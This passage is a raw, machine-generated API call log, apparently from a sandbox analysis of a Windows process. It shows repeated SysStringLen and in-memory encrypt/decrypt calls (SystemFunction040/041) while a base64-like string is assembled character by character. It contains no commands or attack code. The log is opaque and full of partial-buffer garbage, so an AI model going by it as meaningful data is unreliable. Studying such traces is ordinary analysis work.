Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.625] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.625] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.626] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.626] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.626] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.626] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.626] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.626] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.626] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.627] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.627] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.627] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.627] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.627] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.627] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.627] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.628] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.628] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.628] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.628] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.628] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.628] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.628] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.628] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.629] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.629] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.629] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.629] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.629] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.629] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.629] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.629] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.629] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.629] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.630] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.630] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.630] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.630] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.630] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.630] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.630] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.630] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.631] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.631] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.631] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.631] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.631] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.631] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.631] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.631] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.631] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.631] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.632] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.632] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.632] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.632] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.632] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.632] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.632] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.632] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.632] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, 